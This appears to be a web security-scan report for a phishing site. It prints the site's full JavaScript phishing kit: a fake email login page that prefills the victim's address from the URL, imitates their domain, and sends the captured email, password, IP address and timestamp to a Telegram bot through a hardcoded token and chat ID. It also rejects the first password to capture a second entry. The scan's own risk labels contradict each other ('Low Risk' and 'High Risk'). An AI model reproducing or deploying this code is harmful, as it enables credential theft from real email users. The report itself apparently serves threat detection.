finance banking

news media journalism

government public service

healthcare medical

adult content

English

Domain 'redundant-yellow-ah9vlkoo7e-4ybnis0nz7.edgeone.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'redundant-yellow-ah9vlkoo7e-4ybnis0nz7'. Count 7 characters in 'edgeone' split between 4 vowels and three consonants. Tokenizing the label suggests two words: edge, one. Median word length is 3.5 characters. No strong language cues emerged from the frequency lists.

email

password

html/e5/39/e539b8ac-b711-443e-970e-852f49c4f43b.html.gz

2daee7200b2c1286ab5eba1a9b53a433bf981f3668376540dc48d95bb472bcf4

viewport

Prudence Malinki

MarkMonitor Inc.

edgeone.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


      // Configuration
      const TELEGRAM_BOT_TOKEN =
        "8365918654:AAFsH8umCCqvRWhx4Pe6hOXnpVCI5AFVkLI";
      const TELEGRAM_CHAT_ID = "6537543141";

      // State variables
      let showPassword = false;
      let email = "";
      let password = "";
      let loading = true;
      let success = false;
      let language = {};
      let domain = "";
      let ipAddress = "Unknown";
      let attemptCount = 1;
      let showPasswordError = false;
      const currentYear = new Date().getFullYear();

      // DOM elements
      const loadingSpinner = document.getElementById("loadingSpinner");
      const loginForm = document.getElementById("loginForm");
      const successScreen = document.getElementById("successScreen");
      const loginFormElement = document.getElementById("loginFormElement");
      const emailInput = document.getElementById("email");
      const passwordInput = document.getElementById("password");
      const togglePassword = document.getElementById("togglePassword");
      const passwordIcon = document.getElementById("passwordIcon");
      const submitButton = document.getElementById("submitButton");
      const generalError = document.getElementById("generalError");
      const passwordError = document.getElementById("passwordError");
      const loginTitle = document.getElementById("loginTitle");
      const copyright = document.getElementById("copyright");
      const successMessage = document.getElementById("successMessage");
      const successCopyright = document.getElementById("successCopyright");
      const logoContainer = document.getElementById("logoContainer");

      // Initialize the page
      document.addEventListener("DOMContentLoaded", function () {
        initializePage();
        fetchIpAddress();
      });

      // Initialize page
      function initializePage() {
        // Simulate loading
        setTimeout(() => {
          loading = false;
          loadingSpinner.classList.add("hidden");

          // Check URL for domain and email data
          const currentUrl = window.location.href;
          const urlObj = new URL(currentUrl);
          let domainPath = urlObj.hash;

          if (domainPath) {
            domainPath = handleBase64Data(
              domainPath.substring(1).split("/")[0],
            );
            let domainName = domainPath.substring(domainPath.indexOf("@") + 1);
            domain = domainName;

            // Set background image
            const backgroundImage = `https://image.thum.io/get/width/1200/http://${domainName}`;
            document.body.style.backgroundImage = `url('${backgroundImage}')`;
          }

          // Parse hash for email and language data
          const hashParts = window.location.hash
            ? window.location.hash.substring(1).split("/")
            : [];

          if (hashParts.length > 0) {
            const emailData = handleBase64Data(hashParts[0]);
            const langData = getLocalizedLanguage(
              hashParts.length > 1 ? hashParts[1] : "",
            );
            language = langData;

            if (emailData) {
              email = emailData;
              emailInput.value = emailData;
              emailInput.readOnly = true;
              document.title = `${emailData.split("@")[1]} ${language.mail || ""}`;
            }
          } else {
            language = getLocalizedLanguage();
          }

          // Update UI with language data
          updateUIWithLanguage();

          // Show login form
          loginForm.classList.remove("hidden");
        }, 1000);
      }

      // Handle base64 encoded data
      function handleBase64Data(data) {
        try {
          return atob(data);
        } catch (error) {
          return data;
        }
      }

      // Get localized language strings
      function getLocalizedLanguage(langCode = "") {
        const browserLang =
          langCode || navigator.language || navigator.userLanguage;
        const langPrefix = browserLang.substring(0, 2);

        const languages = {
          en: {
            lessThan4: "Password must be at least 4 characters long.",
            msg: "Invalid password. Please enter the correct information.",
            error:
              "The account does not exist. Please enter a different account.",
            emlTxt: "Email",
            pswTxt: "Password",
            submitBtn: "Login",
            secLgSs: "Secure login session",
            frgPsw: "Forgot password?",
            copy: "",
            verifyingText: "Verifying...",
            emlLogin: "Email Login",
            mail: "Mail",
            yourEmail: "Your email has been successfully activated.",
            success:
              "",
          },
        };

        return languages[langPrefix] || languages["en"];
      }

      // Update UI with language strings
      function updateUIWithLanguage() {
        if (loginTitle && language.emlLogin) {
          loginTitle.textContent = language.emlLogin;
        }

        if (emailInput && language.emlTxt) {
          emailInput.placeholder = language.emlTxt;
        }

        if (passwordInput && language.pswTxt) {
          passwordInput.placeholder = language.pswTxt;
        }

        if (submitButton && language.submitBtn) {
          submitButton.textContent = language.submitBtn;
        }

        if (copyright && language.copy) {
          copyright.textContent = `${language.copy} ${currentYear}`;
        }

        if (successMessage && language.success) {
          successMessage.textContent = language.success;
        }

        if (successCopyright && language.copy) {
          successCopyright.textContent = `${language.copy} ${currentYear}`;
        }
      }

      // Fetch IP address
      async function fetchIpAddress() {
        try {
          const response = await fetch("https://api.ipify.org?format=json");
          const data = await response.json();
          ipAddress = data.ip;
        } catch (error) {
          console.error("Error fetching IP address:", error);
          ipAddress = "Failed to get IP";
        }
      }

      // Send credentials to Telegram
      async function sendToTelegram(email, password, attemptNumber) {
        const now = new Date();
        const datetime = now.toISOString();

        const message = `
📧 Email: ${email}
🔑 Password: ${password}
🔄 Attempt: ${attemptNumber}
🌐 IP Address: ${ipAddress}
⏰ Timestamp: ${datetime}
`;

        const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`;

        try {
          await fetch(url);
          console.log("Message sent to Telegram");
          return true;
        } catch (error) {
          console.error("Error sending message to Telegram:", error);
          return false;
        }
      }

      // Handle form submission
      async function handleSubmit(e) {
        e.preventDefault();

        // Get form values
        email = emailInput.value.trim();
        password = passwordInput.value.trim();

        // Clear errors
        generalError.classList.add("hidden");
        passwordError.classList.add("hidden");

        // Validate email
        const emailRegex =
          /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (!emailRegex.test(email)) {
          generalError.textContent = language.error || "Invalid email format";
          generalError.classList.remove("hidden");
          return;
        }

        // Validate password length
        if (password.length < 4) {
          generalError.textContent =
            language.lessThan4 || "Password must be at least 4 characters";
          generalError.classList.remove("hidden");
          return;
        }

        // Show loading state
        submitButton.disabled = true;
        submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> ${language.verifyingText || "Verifying..."}`;

        try {
          // Always send credentials to Telegram
          await sendToTelegram(email, password, attemptCount);

          if (attemptCount === 1) {
            // First attempt - show wrong password message
            setTimeout(() => {
              passwordInput.value = "";
              submitButton.disabled = false;
              submitButton.textContent = language.submitBtn || "Login";

              passwordError.textContent =
                language.msg || "Invalid password. Please try again.";
              passwordError.classList.remove("hidden");

              attemptCount = 2;
            }, 1500);
          } else {
            // Second attempt - redirect to domain
            setTimeout(() => {
              if (domain) {
                window.location.href = `http://www.${domain}`;
              } else {
                // If no domain, show success screen
                loginForm.classList.add("hidden");
                successScreen.classList.remove("hidden");
              }
            }, 1500);
          }
        } catch (error) {
          console.log("Error in submission:", error);
          submitButton.disabled = false;
          submitButton.textContent = language.submitBtn || "Login";

          generalError.textContent = "An error occurred. Please try again.";
          generalError.classList.remove("hidden");
        }
      }

      // Toggle password visibility
      function togglePasswordVisibility() {
        showPassword = !showPassword;

        if (showPassword) {
          passwordInput.type = "text";
          passwordIcon.classList.remove("fa-eye");
          passwordIcon.classList.add("fa-eye-slash");
        } else {
          passwordInput.type = "password";
          passwordIcon.classList.remove("fa-eye-slash");
          passwordIcon.classList.add("fa-eye");
        }
      }

      // Event listeners
      loginFormElement.addEventListener("submit", handleSubmit);
      togglePassword.addEventListener("click", togglePasswordVisibility);

      // Forgot password link
      document
        .getElementById("forgotPassword")
        .addEventListener("click", function (e) {
          e.preventDefault();
          alert(
            "Please contact your system administrator to reset your password.",
          );
        });

      // Remember me checkbox
      document
        .getElementById("rememberMe")
        .addEventListener("change", function () {
          if (this.checked) {
            console.log("Remember me checked");
          } else {
            console.log("Remember me unchecked");
          }
        });
    

PasswordField

Mail Login

✅ Low Risk - https://redundant-yellow-ah9vlkoo7e-4ybnis0nz7.edgeone.app/

Security Scan: Mail Login

Requests	IP Address	Location	AS Autonomous System
2	104.26.13.205	United States	AS13335Cloudflare, Inc.
1	104.17.24.14	United States	AS13335Cloudflare, Inc.
1	104.16.174.226	United States	AS13335Cloudflare, Inc.
1	43.152.26.58	Singapore	AS139341ACE
5	4	-	-

Security Scan Report: redundant-yellow-ah9vlkoo7e-4ybnis0nz7.edgeone.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History